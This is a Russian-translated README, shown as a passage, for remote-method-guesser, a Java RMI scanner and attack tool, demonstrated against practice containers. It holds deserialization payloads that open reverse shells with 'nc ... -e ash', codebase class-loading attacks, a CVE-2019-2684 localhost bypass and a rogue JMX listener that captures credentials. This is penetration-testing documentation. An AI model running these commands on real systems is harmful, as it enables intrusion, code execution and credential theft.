
Сканер уязвимостей Java RMI
remote-method-guesser (rmg) — это сканер уязвимостей Java RMI, который можно использовать для обнаружения и проверки распространённых уязвимостей безопасности на конечных точках Java RMI.

remote-method-guesser был представлен на Black Hat USA2021 в рамках сессий Arsenal. Запись сессии и соответствующие слайды находятся в открытом доступе и доступны по следующим ссылкам:
Репозиторий remote-method-guesser содержит три примерных сервера, которые можно использовать для практики перечисления и атак на Java RMI.
Сервер rmg-example-server предоставляет обычные сервисы RMI, которые можно перечислять и эксплуатировать с помощью remote-method-guesser.
Сервер rmg-ssrf-server предоставляет сервис HTTP, уязвимый к атакам SSRF, и запускает сервисы RMI, которые слушают только на локальном хосте. Это можно использовать для практики с опциями remote-method-guesser --ssrf и --ssrf-response.
Сервер spring-remoting-server предоставляет интерфейсы RMI, созданные с помощью Spring Remoting. Они немного отличаются от обычного Java RMI и могут быть использованы для тестирования соответствующей интеграции Spring Remoting в remote-method-guesser.
Все серверы доступны как контейнеры в GitHub Container Registry:
rmg — это проект maven, и установка должна быть простой. При наличии maven
просто выполните следующие команды, чтобы создать исполняемый .jar файл:```console
$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package
Вы также можете использовать предварительно собранные пакеты, создаваемые для [каждого релиза](https://github.com/qtc-de/remote-method-guesser/releases).
Предварительно собранные пакеты для ветки разработки создаются автоматически и доступны на странице *GitHub* [странице действий](https://github.com/qtc-de/remote-method-guesser/actions).
*rmg* не включает *ysoserial* в качестве зависимости. Чтобы включить поддержку *ysoserial*, необходимо либо указать путь
к вашему файлу ``ysoserial.jar`` в качестве дополнительного аргумента (например, ``--yso /opt/ysoserial.jar``), либо изменить
путь по умолчанию в [файле конфигурации rmg](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) перед сборкой проекта.
*rmg* также поддерживает автодополнение для *bash*. Чтобы воспользоваться автодополнением, необходимо установить
проект [completion-helpers](https://github.com/qtc-de/completion-helpers). Если настройка выполнена правильно, просто
скопируйте [скрипт автодополнения](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/resources/bash_completion.d/rmg) в папку ``~/.bash_completion.d`` — это включит
автодополнение.```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/
Далее представлены краткие примеры для каждой доступной операции. Для более подробного описания следует ознакомиться с папкой документации, которая содержит более детальную информацию об rmg и Java RMI в целом. Все представленные примеры основаны на rmg-example-server и rmg-ssrf-server. Оба они находятся в этом репозитории в папке docker и могут быть использованы для практики перебора Java RMI. Вы можете либо собрать соответствующие контейнеры самостоятельно, либо загрузить их напрямую из GitHub Container Registry.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...
rmg v4.0.0 - a Java RMI Vulnerability Scanner
positional arguments:
action
bind Binds an object to the registry thats points to listener
call Regulary calls a method with the specified arguments
codebase Perform remote class loading attacks
enum Enumerate common vulnerabilities on Java RMI endpoints
guess Guess methods on bound names
known Display details of known remote objects
listen Open ysoserials JRMP listener
objid Print information contained within an ObjID
rebind Rebinds boundname as object that points to listener
roguejmx Creates a rogue JMX listener (collect credentials)
scan Perform an RMI service scan on common RMI ports
serial Perform deserialization attacks against default RMI components
unbind Removes the specified bound name from the registry
named arguments: -h, --help show this help message and exit
#### bind, rebind and unbind
Используя действия ``bind``, ``rebind`` или ``unbind``, можно изменить доступные *bound names* внутри *RMI registry*.
Это особенно полезно для проверки ``CVE-2019-2684``, которая обходит ограничения localhost и позволяет удаленным пользователям выполнять
операции привязки. При использовании действия ``bind`` или ``rebind`` *remote-method-guesser* по умолчанию привязывает ``javax.management.remote.rmi.RMIServerImpl_Stub``
*RemoteObject*, который является *RemoteObject*, используемым серверами *jmx*. Кроме того, необходимо указать адрес соответствующей
*TCP endpoint*, где можно найти *RemoteObject* (адрес, к которому должны подключаться клиенты при попытке использования вашего связанного объекта).```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - my-object
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
Используя систему плагинов remote-method-guesser, можно также привязать пользовательские объекты к RMI-реестру. Чтобы узнать больше о системе плагинов, обратитесь к папке с документацией.
С помощью действия call в remote-method-guesser можно вызывать удаленные методы без написания Java-кода. Предположим, на удаленном сервере существует метод String execute(String cmd). Этот метод выглядит многообещающим, и вы можете захотеть вызвать
его с помощью обычного Java RMI-вызова. Это можно сделать, используя следующую команду:```console
[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -
Заметьте, что вызов удаленных методов по умолчанию не создает никакого вывода. Чтобы обработать вывод, генерируемый действием ``call``, вам необходимо использовать [систему плагинов](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/docs/rmg/plugin-system.md) *remote-method-guesser* и зарегистрировать ``ResponseHandler`` или использовать плагин по умолчанию `GenericPrint`. `GenericPrint` по умолчанию включен в *remote-method-guesser* и может быть активирован с помощью опции `--show-response`.```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)
Во время действия call предоставленные аргументы вычисляются как Java-выражение путем вставки в следующий шаблон:
new Object[]{ arg1, arg2, arg3, ... }. Поэтому вам нужно убедиться, что ваши аргументы соответствуют этому шаблону. Например,
использование "id" в качестве аргумента приводит к ошибке, так как аргумент передается как id в remote-method-guesser, и результирующее
выражение new Object[]{ id } не является допустимым Java-выражением. Вместо этого вам нужно использовать '"id"', так как это приводит к new Object[]{ "id" },
что является допустимым.
Более того, примитивные типы должны быть указаны в их соответствующем объектном представлении (например, new Integer(5) вместо 5). В противном случае они
не могут быть использованы в массиве Object[], который создается Java-выражением. Во время RMI-вызова соответствующие аргументы используются
как задумано и будут соответствовать указанной сигнатуре метода. Для более сложных случаев использования вы также можете определить собственный ArgumentProvider с помощью
remote-method-guessers системы плагинов.
Java RMI поддерживает функцию, называемую codebases, где клиент и сервер могут указывать URL-адреса во время RMI-вызовов, которые могут использоваться для динамической загрузки неизвестных классов. Если RMI-сервер принимает codebase, указанный клиентом, это может привести к удаленному выполнению кода, когда клиент предоставляет вредоносный Java-класс во время RMI-взаимодействия.
Конфигурация codebase на RMI-сервере может различаться для разных компонентов: Activator, DGC, Registry и Application Level.
remote-method-guesser позволяет вам тестировать каждый компонент индивидуально, используя либо --signature <method> (уровень приложения),
--component act (активатор), --component dgc (распределенный сборщик мусора) или --component reg (RMI-реестр) вместе с действием codebase.
Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -
*RMI Registry*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] Caught ClassCastException during codebase attack.
[+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -
Распределённый сборщик мусора:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -
*Activator*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] Caught IllegalArgumentException during codebase attack.
[+] Codebase attack was probably successful :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -
Действие enum выполняет несколько проверок указанной конечной точки Java RMI и выводит соответствующие результаты. Для
более подробного объяснения вывода, генерируемого действием enum, вы можете прочитать соответствующую страницу
документации.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.example/well-hidden-development-folder/
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
#### guess
При использовании действия ``guess``, *remote-method-guesser* пытается идентифицировать существующие удаленные методы, отправляя хеши методов на удаленный сервер. Для этой операции требуется файл со списком слов, содержащий соответствующие определения методов. *remote-method-guesser* поставляется с некоторыми стандартными файлами wordlist, которые включаются в файл ``.jar`` на этапе сборки. Вы можете переопределить расположение wordlist-файлов, изменив [файл конфигурации rmg](https://github.com/qtc-de/remote-method-guesser/blob/HEAD/src/config.properties) или используя опции ``--wordlist-file`` или ``--wordlist-folder``. Методы с нулевым количеством аргументов пропускаются во время угадывания, поскольку они приводят к реальным вызовам методов на стороне сервера. Вы можете включить угадывание для методов с нулевым количеством аргументов, используя переключатель ``--zero-arg``.```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
При выполнении действия enum, remote-method-guesser помечает доступные bound names в RMI registry как known или unknown. Это решение зависит от класса, который реализует соответствующий bound name, и от того, содержится ли этот класс в списке известных конечных точек, который находится в репозитории remote-method-guesser. Когда bound name помечен как known, вы можете использовать действие known для соответствующего класса. Это возвращает информацию о классе, такую как доступные удаленные методы, общее описание и возможные уязвимости:```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter
Список известных классов, их описание и перечень известных уязвимостей далеко не полны.
Надеемся, что в будущем он будет пополняться благодаря вкладу от других пользователей. Если вы столкнетесь с *RMI endpoint*,
который реализует отсутствующий в текущем списке класс, и у вас есть достаточная информация (описание и доступные методы),
не стесняйтесь создавать issue или pull request.
#### listen
Иногда требуется предоставить вредоносный *JRMPListener*, который обслуживает десериализационные пэйлоады
для входящих *RMI* соединений. Писать такой слушатель с нуля не нужно, поскольку он уже предоставлен в
[проекте ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java).
*remote-method-guesser* предоставляет обертку вокруг реализации *ysoserial*, которая позволяет запустить *JRMPListener*
с помощью обычного синтаксиса *rmg*:```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...
Действие objid может использоваться для отображения более подробной информации об объекте ObjID. Каждому RemoteObject присваивается
ObjID при его экспорте RMI runtime. Знание значения ObjID необходимо для взаимодействия с
RemoteObject, что также является причиной, по которой обычно требуется RMI registry. RMI registry содержит ObjID
для каждого bound name, и remote-method-guesser отображает их во время действия enum.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]
``ObjID`` values consist out of different components. These components are displayed in human readable form when
using the ``objid`` action on the corresponding ``ObjID``:```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 1096154566158180646
[+] UID:
[+] Unique: -734386537
[+] Time: 1638254048332 (Nov 30,2021 07:34)
[+] Count: -32759
Большая часть отображаемой информации не так полезна, но значение Time может быть интересным. Это значение содержит время, когда был создан RemoteObject. Таким образом, оно позволяет определить такие вещи, как время работы RMI-сервера.
Иногда вы идентифицируете сервисы, которые обычно поставляются с компонентами Java RMI (JBoss, Solr, Tomcat, ...), но вы не хотите выполнять полное сканирование портов на соответствующем хосте. В таких ситуациях может быть полезно действие scan. Оно выполняет быстрое сканирование портов только для распространённых RMI-портов и пытается идентифицировать RMI-сервисы на них:```console
[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [119 / 119] [#############################] 100%
[+]
[+] Portscan finished.
По умолчанию действия сканирования используют предварительно настроенный список распространенных *RMI портов*. Чтобы настроить список портов для сканирования, вы можете использовать опцию ``--ports``. Эта опция принимает обычные числа и диапазоны чисел для указания портов. Символ тире (``-``) может использоваться для ссылки на список портов по умолчанию.```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
Обратите внимание, что действие scan реализовано простым и ненадёжным способом. По возможности следует
всегда выполнять выделенное сканирование портов с помощью таких инструментов, как nmap. Однако действие scan
может быстро дать вам представление о наличии RMI портов.
Действие roguejmx создаёт JMX-слушатель на вашей системе, который захватывает учётные данные входящих подключений.
После создания слушателя remote-method-guesser выводит значение ObjID, необходимое для взаимодействия с ним.```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
Используя операции ``bind`` и ``rebind``, вы можете внедрить этот слушатель в *RMI registry* и ожидать подключения других пользователей к вашему серверу:```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials
Входящие подключения регистрируются прослушивателем:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!
*remote-method-guesser* использует значение *ObjID* ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` по умолчанию для операций *bind* и мошеннического *JMX* сервера. Поэтому указывать *ObjID* вручную, как показано выше, не требуется. Вы можете изменить значение по умолчанию *ObjID* либо через аргументы командной строки, либо в файле конфигурации *remote-method-guesser*.
Мошеннический *JMX* сервер по умолчанию возвращает исключение доступа (неверные учетные данные) для каждого входящего соединения, но вы также можете перенаправлять входящие соединения на другой экземпляр *JMX*. Это позволяет получать учетные данные от входящих клиентских соединений без нарушения работы служб. Для перенаправления соединений необходимо указать соответствующую цель в качестве дополнительного аргумента. Цели могут быть указаны двумя способами:
1. IP-адрес и порт реестра RMI вместе с привязанным именем соответствующего *экземпляра JMX*: ```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] --> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
#### serial
*Java RMI* использует *Java-сериализованные объекты* при взаимодействии клиента и сервера. Это делает его потенциально уязвимым
для *атак десериализации*. Эти атаки могут быть направлены на различные *компоненты RMI*:
* Известные *RMI components* (*RMI internals*)
* *RMI registry*
* *DGC*
* *Activator*
* Пользовательские *RemoteObjects* (*уровень приложения*)
##### Известные компоненты RMI
В то время как современные *RMI серверы* применяют *фильтры десериализации* для этих *известных компонентов RMI* (*JEP290*), старые серверы могут быть по-прежнему уязвимы для *десериализации* атак*.* *remote-method-guesser* позволяет проверить это с помощью действия ``serial``, которое может выполнять атаки десериализации на *Activator*, *Distributed Garbage Collector* (*DGC*) или *RMI registry*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] Caught ClassCastException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)
В случае RMI-реестра фильтры десериализации могут быть обойдены с помощью гаджетов JRMPClient или An Trinh обходных гаджетов. Эти гаджеты создают исходящий RMI-канал, к которому фильтры десериализации больше не применяются. На этом канале атаки десериализации могут применяться как обычно, но оба обходных пути были исправлены в последних версиях Java RMI.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.
[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection
[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)
Во время своего действия ``enum``, *remote-method-guesser* информирует вас о том, присутствует ли *Activator* на *RMI endpoint* (устаревший *RMI компонент*). Реализация по умолчанию для *системы активации* не реализует никаких фильтров десериализации для *Activator RemoteObject*. Поэтому атаки десериализации на *Activator* endpoint должны всегда срабатывать, даже на самых последних *версиях Java*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] Caught IllegalArgumentException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
В то время как современные реализации Java RMI по умолчанию защищают известные RMI-компоненты с помощью фильтров десериализации, пользовательские
RemoteObjects (фактические RMI-приложения) обычно не защищены. Методы удаленных объектов, которые не используют только примитивные типы в
своих аргументах, могут быть использованы для атак десериализации.
Эта статья в блоге от Hans-Martin Münch
объясняет эту проблему более подробно. remote-method-guesser можно использовать для легкой проверки таких уязвимостей. В качестве примера,
мы можем использовать метод String login(java.util.HashMap dummy1) примерного сервера remote-method-guesser для выполнения
атаки десериализации:```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.util.HashMap on position 0
[+] Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize dummy class c0ba245a659945bb93a49a3ab4b1e430.
[+] Deserialization attack probably worked :)
[qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:35377. id uid=0(root) gid=0(root) groups=0(root)
### Дополнительные возможности
*remote-method-guesser* включает множество функций, которые не описаны в этом файле *README.md*. Некоторые
из них перечислены ниже:
* Почти все операции можно использовать с опцией ``--ssrf`` для создания *SSRF*-нагрузки для соответствующей
операции.
* Если вы получили двоичный вывод *RMI-сервера* (например, после *SSRF*-атаки), вы можете передать его в *remote-method-guesser*
с помощью опции ``--ssrf-response``. Это обрабатывает вывод сервера, как если бы он был получен указанной операцией.
* *remote-method-guesser* можно расширять, используя его *Систему Плагинов*. Четыре интерфейса (``IPayloadProvider``, ``IResponseHandler``,
